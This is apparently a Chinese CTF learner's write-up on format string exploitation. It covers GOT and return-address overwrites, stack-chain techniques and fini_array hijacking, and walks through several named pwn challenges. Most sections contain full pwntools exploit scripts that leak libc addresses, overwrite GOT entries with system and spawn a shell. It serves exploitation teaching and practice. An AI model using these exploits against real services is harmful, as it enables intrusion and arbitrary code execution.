栈上格式化字符串
以下题目的条件:RELRO 保护模式不为 FULL RELRO ,GOT表需要可写
FULL RELRO当开启这个之后 got表是无法修改的
格式化字符串题目: 强网杯(ez_fmt)
通过这题还学会了利用 printf函数就是函数本身内部的返回地址,可以通过调试得到
通过这道题理清了两个逻辑:
这里我们是覆盖让地址的后四位为0x1203 这里传的是0x1203也就是4594+14+3+2 这里的4594就是%4594c 14指的就是%39$p泄露的地址0x7ffffffffff(类似这样的地址算上0x 是14个字节) 这里的3是 aaa 2是后面的两个aa 这样就很清晰了
然后是另一个
这里%9$hn 是return_addr再栈上的位置, hn是指覆盖四个字节,hhn是覆盖两个字节、
还学到一个处理方法
就是>> 和 & 的联合使用
通过这里可以看出 og 16 & 0xffff 取的是b6b8 也就是低16位地址 og >> 16 是将整体向右移动16位 和 & 0xffff 并用的话 可以得到中间的16位地址
这里的➖是因为 在计算第二次发过去的地址时,会算上前面发过去的字符,所以要减去前面发过的数量,然后才能实现我们想要传递的地址
exp如下
#!/usr/bin/python3
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './fmt'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(io)
pause()
#---------------------------------------------------------------------------------
io.recvuntil("There is a gift for you ")
buf=int(io.recv()[2:14],16)
return_addr=buf-0x8
print(hex(return_addr))
main=0x401196
dbg()
payload = b'%39$paaa'+b'%4594caa%9$hnaaa' + p64(return_addr) #14+3+2
io.sendline(payload)
libc_addr=int(io.recv()[2:14],16)-128
libc.address=libc_addr-0x029dc0
one_addr=libc_addr-0x029dc0+0xebdb3
print("one_addr")
system=libc.symbols['system']
payload = b'%' + str((one_addr >> 16) & 0xffff).encode() + b'c' + b'%10$hn' + b'%' + str((one_addr & 0xffff) - ((one_addr >> 16) & 0xffff)).encode() + b'c' + b'%11$hn'
payload = payload.ljust(0x20, b' ')
payload += p64(buf + 0x68+2) +p64(buf + 0x68)
io.send(payload)
io.interactive()
这是64位的题目
攻防世界 CGFSB
由图中可以看出 pwnme =8 游戏就结束了,然后 有一个很明显的printf(s) 格式化字符串进行覆盖,原理这里不在多说,然后
可以很明显看到pwnme在bss段上 因此直接覆盖,
exp如下
这里有个和64位不同的地方也就是,地址放前面,且会加入计算 也就是 8 = 4 + 4 这个前面的4来自p32(addr)
[BUUCTF]PWN——axb_2019_fmt64
这是它的源代码和保护机制,从图中可以看出,有两个格式化字符串的问题,但是第二个print(format) 是无法执行到的,因为format的长度大于0x10E,所以利用sprintf 这里把s输入的储存到format里面,一开始我想这利用下面的printf(format)替换为system 但是执行不到,所以利用strlen来进行,思路如下,通过泄露基址来得到system的地址,然后得到strlen got表的位置,可以观察到 他们的后六位不相同,因此可以格式化字符串覆盖六个字节的内存,而由于plt got表的执行机制可知,只有在第二次之后使用才会直接调用got表,因此会再有一轮循环,而这一轮循环 我们向s中输入 /bin/sh 然后就可以完成system("/bin/sh")就可以shell
exp如下:
#!/usr/bin/python3
from pwn import *
pwnfile="./axb"
p=process(pwnfile)
elf=ELF(pwnfile)
def dbg():
gdb.attach(p)
pause()
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.clear(arch='amd64', os='linux', log_level='debug')
p.recvuntil("Please tell me:")
payload=b'%103$p'
p.send(payload)
p.recvuntil("Repeater:")
libc_addr=int(p.recv()[2:14],16)-128
libc.address=libc_addr-0x029dc0
print(hex(libc_addr))
strlen_got = elf.got["strlen"]
system=libc.symbols["system"]
print(hex(system))
low_system=system & 0xffff
print(hex(low_system))
high_system=(system >> 16) & 0xff
print(hex(high_system))
payload=b'%'+str(high_system-9).encode()+b'c%12$hhn'+b'%'+str(low_system-high_system).encode()+b'c%13$hn'
payload = payload.ljust(0x20, b'a')
payload+= p64(strlen_got+2)+p64(strlen_got)
p.send(payload)
payload3 = ';/bin/sh\x00'
p.recvuntil("Please tell me:")
dbg()
p.send(payload3)
p.interactive()
有一个点是借鉴了别人的exp 就是
我还没想明白这里为什么多个分号
[BUUCTF]PWN——axb_2019_fmt32
这里思路基本和64位的一样直接贴exp了
#!/usr/bin/python3
from pwn import *
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
context(os='linux',arch='i386',log_level='debug')
#r = process("./axb_2019_fmt32")
r=process("./axb32")
elf=ELF("./axb32")
printf_got = elf.got['printf']
payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print("printf_addr"+hex(printf_addr))
libc.address=printf_addr-libc.symbols['printf']
system=libc.symbols['system']
print("system_addr"+hex(system))
payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "short",numbwritten = 0xa)
#p.recvuntil(':')
gdb.attach(r)
pause()
r.sendline(payload)
r.sendline(b';/bin/sh\x00')
r.interactive()
fmtstr_payload 这里对于这个的用法 也就是类似上面64位我们自己传,相当于将那个过程打包为一个函数 我们只需要传参就可以 具体用法可以看官方文档pwnlib.fmtstr — Format string bug exploitation tools — pwntools 2.2.1 documentation
格式化字符串进阶用法链接:安全研究:HOUSE_OF_FMT - FreeBuf网络安全行业门户以后学到堆来看
非栈上格式化字符串
两个姿势:一个是四马分肥,一个诸葛连弩,
四马分肥一般是用三链条,一次性去修改got表的地址
诸葛连弩的话 是用四链,一个字节一个字节的去给目标地址修改任意值
接下来具体讲解一下 四马分肥
基本是通过三链来控制后面的东西
跨行传递,通过 0x7ffdfe862680 来给 0x7ffdfe860011 传递参数,覆盖地址为0x7ffdfe862690 以达到三条链,
然后通过 0x7ffdfe862690 来给 0x7f30daceae50传参,以达到覆盖的目的
它的一个攻击思路是:
1.首先在栈中找到三条链的段
2.然后通过找一些和目标地址近似的地址,大概是一个字节或者两个到三个字节不同别的都相同
3.再把三链的第三个覆盖改写为,指向相似地址的地址(一般是指向一些常见的函数t反正不要选那些冷门偏门的,有可能会让系统崩掉)
4.通过第三步覆盖的地址 去传入目标函数的地址,由于近似,一般传一两个字节就可以了。由于一开始是下图,所以直接传就是改变相近的地址
5.然后后面覆盖后就是下面这样,这种情况下,就根据0x7fff那个地址 去给后面got表指向的地址传参 进行覆盖
ps 一般是通过 改 printf@got.plt 和 printf@got.plt + 2 然后同步进行第五步,达到一步改got表
这里加2是因为假设我们是hn的话就是传入的2个字节,然后要覆盖高位的话,就需要把地址加2
接下来具体讲解一下诸葛连弩
其实就是利用了四链的逻辑 大致是一个这样的思路
gdb动态调试如下图
现在我们想修改红色方框中地址(target_addr )所存储的值。我们将黄色区域 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 作为 a->b->c 链
首先利用下图中 0x7fffffffdec0 -> 0x7fffffffdfa8 -> 0x7fffffffe2f0 将 0x7fffffffe2f0 低 2 字节修改为目标地址的低 2 字节
然后修改 0x7fffffffe2f0+2
接下来将 0x7fffffffe2f0+2 修改为 目标地址的 3-4 字节,
以此类推完成所有修改,最后形成 a->b->c->target_addr ,此时再利用上述方法即可将 target_addr 中的值修改为任意值。
两者对比
四马分肥相对直白一些,所以网上大多数 writeup 都是这种方式,相对于第2种它能够修改 got 表,如果出题人不从中作梗,由于操作系统的关系,这种攻击方式基本上必然能够成立。但是当 FULL RELRO 时,则需要修改栈上的返回地址构造 ROP 链,则相繁琐一些,且可能因为 ROP 链过长影响“四马”的选择。
诸葛连弩方式有些绕,需要多次写入修改;由于是逐个字节写内存,所以不能修改 got 表;单字节修改时尾部字节在 0XFD-0XFF 时程序会失败,双字节修改时尾部字节在 0XFFFD-0XFFFF 时程序会失败。因此方法2不是最佳选择。但当 FULL RELRO 时 ,修改返回地址构造 ROP 链则相对简单一些。可以修改目标地址为任意数字
接下来再通过例题进行实际演练
fmt
ida反汇编可得到
可以明显的看出printf(buf) 格式化字符串 可以把printf的got表改为system的地址,然后传入/bin/sh达到shell的效果
可以看到开了pie和nx,
捋一下思路,现在我们要将printf的got表改成system,但是由于buf不在栈上,所以不能直接传入printf plt表的地址,因此要通过四马分肥去替换栈中已有的地址,1.要获得printf got表的位置 2.要泄露libc 得到system的地址 3.一次性修改got表的地址
具体调试过程如下,这里只展示四马分肥的过程
第一次
第二次
后面基本是重复这个过程 再改偏移6的位置构造三链条,然后修改近似的地址,这里直接跳到最后一次性修改got
修改成功,而由于pie的延迟绑定机制,我们还有一次传入参数的机会,这时候传入/bin/sh就可以了
exp如下
#!/usr/bin/python3
from pwn import *
pwnfile="./fmt"
p=process(pwnfile)
elf=ELF(pwnfile)
def dbg():
gdb.attach(p)
pause()
libc = elf.libc
context.clear(arch='amd64', os='linux', log_level='debug')
payload=b'%6$p'+b'%39$p\x00'
p.send(payload)
#----------------------------------------------------
test=p.recv()[8:26]
print(test)
print_got=elf.got['printf']
print("got_printf")
print(hex(print_got))
ebp=int(test[:8],16)
libc_addr=int(test[10:19],16)-147 #偏移
print(libc.symbols["__libc_start_main"])
libc.address=libc_addr-libc.symbols["__libc_start_main"]
print(libc.address)
system=libc.symbols["system"]
print("ebp")
print(hex(ebp))
print("libc_addr")
print(hex(libc_addr))
offset_1=12
offset_2=4
stack_1=ebp-offset_1
print(hex(stack_1))
stack_2=ebp+offset_2
print(hex(stack_2))
#-------------------------------------------------------
payload=b'%21$p'+b'aaaa'
p.send(payload)
#-------------------------------------------------------
pie=int(p.recv()[2:10],16)-elf.symbols['main']
print(hex(pie))
got=pie+print_got
print(hex(got))
got_low=got & 0xffff
print(hex(got_low))
system_low=system & 0xffff
system_high=(system>>16) & 0xffff
print("system")
print(hex(system))
print("low")
print(hex(system_low))
print("high")
print(hex(system_high))
#-------------------------------------------------------
payload=b'%'+str(stack_1 & 0xffff).encode()+b'c%6$hn\x00'
p.send(payload)
p.interactive()
payload=b'%'+str(got_low).encode()+b'c%10$hn\x00'
p.send(payload)
p.interactive()
payload=b'%'+str(stack_2 & 0xffff).encode()+b'c%6$hn'
p.send(payload)
p.interactive()
payload=b'%'+str(got_low+2).encode()+b'c%10$hn\x00'
p.send(payload)
p.interactive()
payload=b'%'+str(system_low).encode()+b'c'+b'%7$hn'+b'%'+str(system_high-system_low).encode()+b'c'+b'%11$hn\x00'
p.interactive()
p.send(payload)
p.interactive()
p.send('/bin/sh\x00')
p.interactive()
诸葛连弩:还没找到合适的题目,先放一放
杂项--星号的使用
在格式化字符串中,如果我们想覆盖地址但出现可读取字节不太够的情况下,可以用星号*代替
调试图如下
由图可知成功修改,原理理解的话,可以理解为%*9 指向了偏移为9的地址指向的地址,然后将用这个方式缩短传输所需要的字节数,如果直接传入的话可能需要5到6位字节
杂项--只能使用一次格式化字符串
这里就需要介绍一下我们程序运行的一个基本流程了
就是会有一个init_array和fini_array
.init中的代码在main之前执行
.finit中的代码在main之后执行
因为程序结束后会执行finit地址,由于程序·没有开pie因此我们可以通过把fini_array的地址改为main函数的地址,就可以让main再执行一次
在exit函数中可以动态调试得到
exp如下:
#!/usr/bin/python3
# coding=utf-8
from pwn import *
arch = 'amd64'
context.clear(arch='amd64', os='linux', log_level='debug')
pwnfile= './fmt_str_once_sys_x64_nopie'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc
def dbg():
gdb.attach(io)
pause()
dem = 'input:\n'
io.recvuntil(dem)
fini_array = 0x4031D0
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
system_plt = elf.symbols["system"]
payload = fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt})
print(payload)
dbg()
io.send(payload)
io.interactive()
fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt}),这里学到一个这个函数的用法,前面的6是程序最开始的偏移,后面是替代的函数,但这个是利用于传入数据再栈上的,非栈的话还是要自己输出
写在最后的话:感谢国资社畜和各类大佬的一些题目和讲解,我也还是一个正在pwn海中摸索的新人,如有讲的不对的地方,欢迎指出